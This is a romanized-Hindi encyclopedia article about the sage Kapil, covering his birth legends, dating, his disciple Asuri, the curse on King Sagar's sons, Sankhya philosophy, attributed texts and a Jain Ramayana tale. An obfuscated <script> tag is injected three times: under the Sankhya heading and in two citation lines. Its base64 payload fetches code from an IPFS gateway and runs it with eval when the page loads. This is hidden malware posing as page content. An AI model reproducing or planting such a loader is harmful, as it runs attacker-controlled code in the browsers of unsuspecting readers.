कपिल

thumb|250px|maharshi kapil

chitr:Disamb2.jpg kapil

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- kapil (bahuvikalpi)

kapil muni 'saankhy darshan' ke pravartak the, jinhean bhagavan vishnu ka pancham avatar mana jata hai. inaki mata ka nam devahuti v pita ka nam kardam tha. kapil muni ki mata devahooti ne vishnu ke saman putr ki kamana ki thi. atah bhagavan vishnu ne svayan unake garbh se janm liya tha. kardam jab sannyas lekar van jane lage to devahooti ne kaha, "svami mera kya hoga?" is par rrishi kardam ne kaha ki "tera putr hi tujhe jnan dega." samay ane par kapil ne mata ko jo jnan diya, vahi 'saankhy darshan' kahalaya.

janm vivaran

kapil saankhyashastr ke pravartak the. inake samay aur janm sthan ke bare mean nishchay nahian kiya ja sakata. bahut se vidvanoan ko to inaki aitihasikata mean hi sandeh hai. puranoan tatha mahabharat mean inaka ullekh hua hai. kaha jata hai, pratyek kalp ke adi mean kapil janm lete haian. janm ke sath hi sari siddhiyaan inako prapt hoti haian. isilie inako 'adisiddh' aur 'adividvan' kaha jata hai. mahabharat mean ye saankhy ke vakta kahe ge haian. inako agni ka avatar aur brahma ka manasaputr bhi puranoan mean kaha gaya hai. shrimadbhagavat ke anusar kapil vishnu ke pancham avatar mane ge haian. kardam aur devahooti se inaki utpatti mani gee hai. bad mean inhoanne apani mata devahooti ko saankhyajnan ka upadesh diya, jisaka vishad varnan shrimadbhagavat ke tisare skandh mean milata hai.^[1]

samay kal

kapilavastu, jahaan buddh paida hue the, kapil ke nam par basa nagar tha aur sagar ke putr ne sagar ke kinare kapil ko dekha aur unaka shap paya tatha bad mean vahian ganga ka sagar ke sath sangam hua. isase maloom hota hai ki kapil ka janmasthan sanbhavat: kapilavastu aur tapasya kshetr gangasagar tha. isase kam-se-kam itana to avashy kah sakate haian ki buddh ke pahale kapil ka nam phail chuka tha. yadi ham kapil ke shishy asuri ka 'shatapath brahman' ke asuri se abhinn manean to kah sakate haian ki kam-se-kam brahman kal mean kapil ki sthiti rahi hogi. is prakar 700 varsh ee.poo. kapil ka kal mana ja sakata hai.

shishy

inaka shishy koee asuri namak vansh mean utpann varshasahasrayaji shrotriy brahman batalaya gaya hai. paranpara ke anusar ukt asuri ko nirmanachitt mean adhishthit hokar inhoanne tatvajnan ka upadesh diya tha. nirmanachitt ka arth hota hai- 'siddhi ke dvara apane chitt ko svechchha se nirmit kar lena'. isase maloom hota hai ki kapil ne asuri ke samane sakshath‌ upasthit hokar upadesh nahian diya, apitu asuri ke jnan mean inake pratipadit siddhaantoan ka sphuran hua. at: ye asuri ke guru kahalae.

sagar putroan ko dand

kuchh puranoan mean kapil muni ko agni ka avatar aur brahma ka manas putr bhi bataya gaya hai. mahatma buddh ka janm sthan 'kapilavastu' hi kapil ka bhi janm sthan mana jata hai. inhian ke nam par vah nagar 'kapilavastu' kahalaya tha. 'gangasagar' kshetr inaki tapasya sthali thi. ikshvaku vanshi raja sagar ke ashvamedh yajn ke ashv ko churakar iandr ne inhian ke ashram ke pas chho d diya tha. ashv ki raksha kar rahe sagar ke sath hazar putroan ne kapil muni ko gho de ka chor batakar unaka apaman kiya. is mithya abhiyog se kruddh muni ne sagar ke putroan ko shap dekar bhasm kar diya. gho da lekar pita ke pas ane ke lie keval paanch putr bach ge the. adhunik vidvanoan ka mat hai ki, yah sanket ayodhya ki praja ki or hai, jo akal se trast ho gee thi, aur bhagirath ke prayatn se ganga ke ane par logoan ka kasht door hua.

saankhy darshan

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

apane saankhy darshan mean kapil muni ne karmakaand ke viparit jnanakaand ko mahatv diya. unake pahale karm ko hi ek marg mana jata tha aur jnan keval charcha tak simit tha. tyag, tapasya aur samadhi ko bharatiy sanskriti mean pratishthit karane ka shrey kapil muni ko hi hai. vikasavad ka sarvapratham pratipadan karake unhoanne sansar ko svabhavik gati se utpann mana. ye srishti ke kisi ati prakritik kartta ko nahian manate. eeshvar ka vishesh ullekh n hone ke karan kuchh vidvanh 'saankhy darshan' ko anishvaravadi manate haian.

rachanaean

kapil muni ke nam se kee granth prasiddh haian, jinamean pramukh haian- 'saankhy sootr', 'tatv samas', 'vyas prabhakar', 'kapil gita', 'kapil pancharam', 'kapil stobh' aur 'kapil smriti'.

kapil ne kya upadesh diya, yah kahana kathin hai. 'tatvasamasasootr' ko usake tikakar kapil dvara rachit manate haian. sootr chhote aur saral haian. isilie maiksamoolar ne unhean bahut prachin batalaya. parantu is par n to koee bahut prachin tika upalabdh hoti hai aur n kisi purane granth mean isaka ullekh milata hai. 8vian shatabdi ke jain granth 'bhagavadajjukiyamh‌' mean saankhy ka ullekh karate hue kaha gaya hai-

'ashtau prakritay:, shodash vikara:, atma, panchavayava:, traigunyam, man:, sanchar: pratisancharashch'

ath prakritiyaan, solah vikar, atma, paanch avayav, tin,gun, man, srishti aur pralay, ye saankhyashastr ke vishay haian. 'tatvasamasasootr' mean bhi aisa hi path milata hai. sath hi tatvasamasasootr ke tikakar bhavaganesh kahate haian ki unhoanne tika likhate samay panchashikh likhit tika se sahayata li hai. richard garve ke anusar panchashikh ka kal pratham shatabdi ka hona chahie. at: bhagavajjukiyamh‌ tatha bhavaganesh ki tika ko yadi praman manean to 'tatvasamasasootr' ka kal eesa ki pahali shatabdi tak le jaya ja sakata hai. isake poorv isaki sthiti ke lie sabal praman ka abhav hai. saankhyapravachanasootr ko bhi kuchh tikakar kapil ki kriti manate haian. kaumudiprabha ke karta svapneshvar 'saankhyapravachanasootr' ko panchashikh ki kriti manate haian aur kahate haian ki yah granth kapil dvara nirmit isalie mana gaya hai ki kapil saankhy ke pravartak haian. yahi bat 'tatvasamas' ke bare mean bhi kahi ja sakati hai. parantu saankhyapravachanasootr ka vivaran madhav ke 'sarvadarshanasangrah' mean nahian hai aur n to gunaratn mean hi isake adhar par saankhy ka vivaran diya hai. at: vidvanh log ise 14vian shatabdi ka granth manate haian.^[1]

ramayan sandarbh

ramayan mean jal ki khoj mean thake-maande ram, sita aur lakshman kapil ki kutiya mean pahuanche. kapil ki patni susharma ne unhean thanda jal diya. tabhi samidhaean ekatr karake kapil bhi apani kutiya par pahuanche. vahaan dhoolamandit pairoan se aye un tinoan atithiyoan ka niradar karake kapil ne unhean ghar se bahar nikal diya. aandhi-toofan aur varsha se bachane ke lie unhoanne ek baragad ki chhaya mean ashray liya. is vriksh ki chhaya mean sakshat haladhar aur narayan aye haian, ve tinoan vriksh ki chhaya mean so rahe the. subah uthe to dekha, ek vishal mahal mean gadde par so rahe haian. rat-bhar mean yakshapati ne unake lie us mahal ka nirman kar diya thaan. vahaan rahate hue ve nikatasth jain mandir ke shramanoan ko yathechchh dan diya karate the.

agale din kapil samidha akalan ke lie jangal mean gaye to mahal dekhakar vismit ho gaye. vahaan ke nivasi jain matavalanbiyoan ko dan dete haian, yah janakar unhoanne jainiyoan se grihasth-dharm ki diksha li. ve donoan mahal mean gaye to un tinoan ko pahachanakar bahut lajjit hue. ram ne unaka satkar karake unhean dhan pradan kiya. kapil ne ni:sang hokar pravrajya grahan ki. varshakal ke uparaant un tinoan ne vahaan se prasthan kiya. yakshapati ne ram ko svayanprabh nam ka har, lakshman ko manikundal tatha sita ko choo damaniratn upaharasvaroop samarpit kiye. unake prasthan ke uparaant yaksharaj ne us mayavi nagari ka sanvaran kar liya|^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 kapil (hindi) bharatakhoj. abhigaman tithi: 27 agast, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ pum charit, 35.-36.1-8.–

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 kapil (hindi) bharatakhoj. abhigaman tithi: 27 agast, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] um charit, 35.-36.1-8.–

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